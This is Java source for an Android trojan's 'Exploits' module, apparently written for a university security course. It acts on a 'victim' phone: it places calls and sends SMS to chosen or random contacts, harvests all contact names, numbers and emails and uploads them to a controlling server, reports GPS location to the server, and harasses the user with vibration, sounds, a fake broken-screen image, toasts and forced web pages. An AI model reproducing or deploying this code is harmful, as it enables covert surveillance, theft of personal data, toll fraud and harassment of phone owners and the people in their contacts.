package fsu.cs.cis5930;

import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Timer;
import java.util.TimerTask;

import android.app.Activity;
import android.app.WallpaperManager;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.location.Location;
import android.location.LocationManager;
import android.media.MediaPlayer;
import android.net.Uri;
import android.os.Bundle;
import android.os.Vibrator;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.Window;
import android.view.WindowManager;
import android.widget.Toast;


/**
 *	Exploits: This is our collection of exploits that may be called on the victims phone.
 *	Please be sure to add your entry to the enums, so the other modules know which messages
 *	to implement. Also please follow the JavaDoc documentation guidelines.
 *
 */
public class Exploits {
	
	private static final String TAG = "Exploits.java";
	private static Context mContext;
	private Connection mConnection;
	private GlobalApplication GLOBAL;
	
	/**
	 * Class constructor. Need to pass in the application's context.
	 * @param context
	 */
	public Exploits(Context context)
	{
		mContext = context;
		GLOBAL = (GlobalApplication) mContext.getApplicationContext();
		mConnection = GLOBAL.getConnection();
	}
	
	public static enum Type
	{
		/** Makes the phone call a given number */
		MAKE_CALL,
		/** Makes the phone call a random contact number */
		MAKE_RANDOM_CALL,
		/**Makes the phone send a text message to the given number */
		SEND_TEXT,
		/**Makes the phone send a text message to a random contact number */
		SEND_RANDOM_TEXT,
		/** Sets the victim's wallpaper to the provided image */
		SET_WALLPAPER,
		/** Makes the phone vibrate at random intervals */
		VIBRATE_GHOST,
		/** Steal contact phone numbers and email address */
		STEAL_CONTACTS,
		/**Plays random music sound track. Parameter int(1-7) choses soundtrack*/
		PLAY_MUSIC,
		/**Get user's location, the function return a Location object*/
		GET_LOCATION,
		/**Display random toast message on user's screen*/
		DISPLAY_TOAST,
		/** Display the broken screen image*/
		BROKEN,
		/** Open up browser with the url passed in */
		OPEN_WEBSITE
	}
	
	/** EXPLOITS */
	
	/**
	 * MAKE_CALL
	 * Makes the victim's Android call another phone.
	 * @param number Number to be called;
	 */
	public void makeCall(String number)
	{
		// TODO Needs testing.
		String uri = "tel:" + number.trim();
		Intent intent = new Intent(Intent.ACTION_CALL);
		intent.setData(Uri.parse(uri));
		intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
		mContext.getApplicationContext().startActivity(intent);
		
	}
	
	/**
	 * MAKE_RANDOM_CALL
	 * Makes the victim's Android call one of their contacts phone.
	 * @see MakeCall();
	 * @param number Number to be called;
	 */
	public void makeRandomCall()
	{
		// TODO Needs testing.
		ArrayList<StolenContactInfo> myList = getContactInfo();
		Collections.shuffle(myList);
		makeCall(myList.get(0).phoneNumbers.get(0));}
	
	
	/**
	 * SEND_TEXT
	 * Makes the victim's Android send a text message to the given phone number.
	 * @param number Number to be texted.
	 * @source http://android-er.blogspot.com/2011/03/send-sms-using-androidtelephonysmsmanag.html
	 */
	public void sendText(String number, String text)
	{
		Log.d(TAG, "Sending to: " + number + " . Message: " + text);
		// TODO Needs testing.
		SmsManager smsManager = SmsManager.getDefault();
		smsManager.sendTextMessage(number, null, text, null, null);
		
	}
	
	/**
	 * SEND_RANDOM_TEXT
	 * Makes the victim's Android send a text message to one of their contacts phone.
	 * @see sendText();
	 * @param number Number to be called;
	 */
	public void sendRandomText(String text)
	{
		// TODO Needs testing.
		ArrayList<StolenContactInfo> myList = getContactInfo();
		Collections.shuffle(myList);
		sendText(myList.get(0).phoneNumbers.get(0), text);}

	/**
	 * SET_WALLPAPER
	 * Sets the victim's Android's wallpaper to the provided image.
	 * @param data A JPEG or PNG image passed in as an InputStream.
	 * @source: http://android-er.blogspot.com/2011/03/set-wallpaper-using-wallpapermanager.html
	 */
	public void setWallpaper(InputStream data)
	{
		WallpaperManager myWallpaperManager
	     = WallpaperManager.getInstance(mContext.getApplicationContext());
	    try {
			myWallpaperManager.setStream(data);
		} catch (IOException e) {
					
		}
	 }
	
	private boolean ghostOn = false;
	/**
	 * VIBRATE_GHOST
	 * Makes the victim's Android vibrate at random intervals.
	 * @param stop Send in true to stop this exploit, if running.
	 */
	public void ghostVibrator()
	{
		ghostOn = !ghostOn;
		final Timer ghostVibrate = new Timer();
	
		if (ghostOn)
		{
			Log.d(TAG, "Ghost Vibrator stopped.");
			ghostVibrate.cancel();
		}	
		else
		{
			Log.d(TAG, "Ghost Vibrator started.");
		
			final Vibrator vibratorService = (Vibrator)mContext.getSystemService(Context.VIBRATOR_SERVICE);
			final long[] vibratorPattern = new long[6];
			
			ghostVibrate.schedule(new TimerTask() {
				
				@Override
				public void run() {
					try {
						Thread.sleep((long) (Math.random() * 4000));
					} catch (InterruptedException e) {e.printStackTrace();}
	
					vibratorPattern[0] = (long) (Math.random() * 1000);
					vibratorPattern[1] = (long) (Math.random() * 100);
					vibratorPattern[2] = (long) (Math.random() * 1000);
					vibratorPattern[3] = (long) (Math.random() * 100);
					vibratorPattern[4] = (long) (Math.random() * 1000);
					vibratorPattern[5] = (long) (Math.random() * 100);
	
					vibratorService.vibrate(vibratorPattern, -1);
					
					try {
						Thread.sleep((long) (5000 + Math.random() * 5000));
					} catch (InterruptedException e) {e.printStackTrace();}
					}}, 1000, 1000);	}
	}
	
	/**
	 *	STEAL_CONTACTS 
	 *	Data structure used to store all the victim's phone numbers and e-mail addresses.
	 */
	public static class StolenContactInfo
	{
		String Name;
		
		ArrayList<String> phoneNumbers;
		
		ArrayList<String> emailAddresses;
		
		public StolenContactInfo()
		{
			Name = new String();
			phoneNumbers = new ArrayList<String>();
			emailAddresses = new ArrayList<String>();
		}
		
		public void setName(String name)
		{
			Name = name;
		}
		
		public void addPhoneNumber(String number)
		{
			phoneNumbers.add(number);
		}
		
		public void addEmailAddress(String address)
		{
			emailAddresses.add(address);
		}
		
		public String serialize()
		{
			String serialized = new String();
			
			serialized += Name + ";";
			
			if (phoneNumbers.isEmpty())
			{
				serialized += " ";
			}
			
			else
			{
				for (int i = 0; i < phoneNumbers.size(); i++)
				{
					if (i > 0)
					{
						serialized += ",";
					}
				
					serialized += phoneNumbers.get(i);
				}
			}
			
			serialized += ";";
			
			if (emailAddresses.isEmpty())
			{
				serialized += " ";
			}
			
			else
			{
				for (int i = 0; i < emailAddresses.size(); i++)
				{
					if (i > 0)
					{
						serialized += ",";
					}
				
					serialized += emailAddresses.get(i);
				}
			}
			
			serialized += ";";
			
			return serialized;
		}
		
		@Override
		public String toString()
		{
			return serialize();
		}
	}
	
	/**
	 * STEAL_CONTACTS
	 * Helper function which populates our data structure and returns it.
	 * @return List of all the phone's contact numbers and e-mail addresses.
	 */
	public ArrayList<StolenContactInfo> getContactInfo()
	{
		ArrayList<StolenContactInfo> contacts = new ArrayList<StolenContactInfo>();
		
		String contactNameProjection[] = { ContactsContract.Contacts.DISPLAY_NAME };
		
		String contactPhoneProjection[] = { ContactsContract.CommonDataKinds.Phone.NUMBER };
		
		String contactEmailProjection[] = { ContactsContract.CommonDataKinds.Email.DATA1 };
		
		Cursor nameCursor = mContext.getContentResolver()
			.query(ContactsContract.Contacts.CONTENT_URI, contactNameProjection, null, null, null);
		
		if (nameCursor != null)
		{
			if (nameCursor.moveToFirst())
			{
				int nameColIndex = nameCursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
				
				while (!nameCursor.isAfterLast())
				{
					String name = nameCursor.getString(nameColIndex);
					
					StolenContactInfo contact = new StolenContactInfo();
					
					contact.setName(name);
					
					String phoneSelection = ContactsContract.Data.DISPLAY_NAME + " = ? AND "
						+ ContactsContract.Data.MIMETYPE + " = ?";
					
					Cursor phoneCursor = mContext.getContentResolver()
						.query(ContactsContract.Data.CONTENT_URI, contactPhoneProjection,
								phoneSelection, new String[]{name, ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE}, null);
					
					if (phoneCursor != null)
					{
						if (phoneCursor.moveToFirst())
						{
							int phoneColIndex = phoneCursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
							
							while (!phoneCursor.isAfterLast())
							{
								String phoneNum = phoneCursor.getString(phoneColIndex);
								
								contact.addPhoneNumber(phoneNum);
								
								phoneCursor.moveToNext();
							}
						}
					}
					
					else
					{
						Log.v(TAG, "No phone numbers found for contact " + name);
					}
					
					String emailSelection = ContactsContract.Data.DISPLAY_NAME + " = ? AND "
						+ ContactsContract.Data.MIMETYPE + " = ?";
					
					Cursor emailCursor = mContext.getContentResolver()
						.query(ContactsContract.Data.CONTENT_URI, contactEmailProjection,
							emailSelection, new String[]{name, ContactsContract.CommonDataKinds.Email.CONTENT_ITEM_TYPE}, null);
				
					if (emailCursor != null)
					{
						if (emailCursor.moveToFirst())
						{
							int emailColIndex = emailCursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA1);
						
							while (!emailCursor.isAfterLast())
							{
								String emailAdd = emailCursor.getString(emailColIndex);
							
								contact.addEmailAddress(emailAdd);
							
								emailCursor.moveToNext();
							}
						}
					}
					
					else
					{
						Log.v(TAG, "No email addresses found for contact " + name);
					}
					
					contacts.add(contact);
					nameCursor.moveToNext();
				}
			}
		}
		
		else
		{
			Log.e(TAG, "Could not query Contacts");
		}
		
		return contacts;
	}
	
	/**
	 * STEAL_CONTACTS
	 * Obtains a list of all the contacts phone number and e-mail addresses, and uploads them to our server.
	 */
	public void stealContactInfo()
	{
		ArrayList<StolenContactInfo> contacts = getContactInfo();
		
		new Thread(new ContactSendThread(contacts)).start();

	}
	
	public class ContactSendThread implements Runnable
	{
		ArrayList<StolenContactInfo> contacts;
		
		public ContactSendThread(ArrayList<StolenContactInfo> _contacts)
		{
			contacts = new ArrayList<StolenContactInfo>(_contacts);
		}

		@Override
		public void run()
		{
			ServerService service = (ServerService)mContext;
			
			for (int i = 0; i < contacts.size(); i++)
			{
				String serialized = contacts.get(i).serialize();
				
				String toSend = "VICTIMCONTACTS" + " " + serialized;
				
				service.sendStringToServer(toSend);
				
				try 
				{
					Thread.sleep(1000);
				} 
				catch (InterruptedException e)
				{
					
				}
			}
			
		}
	}
	
	/**
	 * PLAY_MUSIC
	 *Makes user's phone play a sound track, it will play the sound track specified
	 *on the parameter. 
	 *1)innsane
	 *2)silly_laugh
	 *3)ooh
	 *4)stupid_people
	 *5)wakeup
	 *6)annoying
	 *7)broken
	 */
	public void playMusic(int sound_track)
	{
		// TODO Needs testing.
		if (sound_track == 0){
			MediaPlayer mp = MediaPlayer.create(Exploits.mContext, R.raw.innsane);
			mp.start();
		}
		else if(sound_track == 1){
			MediaPlayer mp = MediaPlayer.create(Exploits.mContext, R.raw.laugh_silly);
			mp.start();
		}
		else if(sound_track == 2){
			MediaPlayer mp = MediaPlayer.create(Exploits.mContext, R.raw.ooh);
			mp.start();
		}
		else if(sound_track == 3){
			MediaPlayer mp = MediaPlayer.create(Exploits.mContext, R.raw.stpd_people);
			mp.start();
		}
		else if(sound_track == 4){
			MediaPlayer mp = MediaPlayer.create(Exploits.mContext, R.raw.wakeup);
			mp.start();
		}	
		else if(sound_track == 5){
			MediaPlayer mp = MediaPlayer.create(Exploits.mContext, R.raw.annoying);
			mp.start();
		}
		else if(sound_track == 6){
			MediaPlayer mp = MediaPlayer.create(Exploits.mContext, R.raw.broken);
			mp.start();
		}
	}
	
/**
 * GET_LOCATION
 	get's user location and return a Location object if it exist, 
 	if gps is not enabled it return null
 * @param loc 
 */
	
	public void getLocation(Location loc, String hackerMAC)
	{		
		Log.i("laka", "llama al getLocation()");
/*
		LocationManager locationManager = (LocationManager)mContext.getSystemService(LOCATION_SERVICE);       
	        Location location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
	*/         
	       
            Log.d("plz", "My location is: " + loc.toString());
           StringBuilder message = new StringBuilder();
           message.append("VICTIMLOCATION");
           message.append(" ");
           message.append(hackerMAC);
           message.append(";");
           message.append((int) (loc.getLatitude()* 1E6));
           message.append(":");
           message.append((int) (loc.getLongitude()* 1E6));
           mConnection.sendStringToServer(message.toString());
           
	        
	
	   	
	}
	
	
	/**
	 * DISPLAY_TOAST
	 * Pass in a parameter with toast message and display it to the user's screen
	 * @return 
	 */
	
	public void displayToast(String msg){
		
		Toast.makeText(Exploits.mContext, msg, Toast.LENGTH_LONG).show();
		
	}
	
	
	/**
	 * BROKEN
	 * Starts an activity which just shows the image of a broken screen
	 */
	public void showBroken(){
		Intent newIntent = new Intent(mContext, Broken.class);
		newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
		mContext.startActivity(newIntent);	
	}
	

	
	
	public void openWebsite(String url){
		
		Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(url));
		intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
		mContext.startActivity(intent);
		
		
		
	}

	
	
	
}
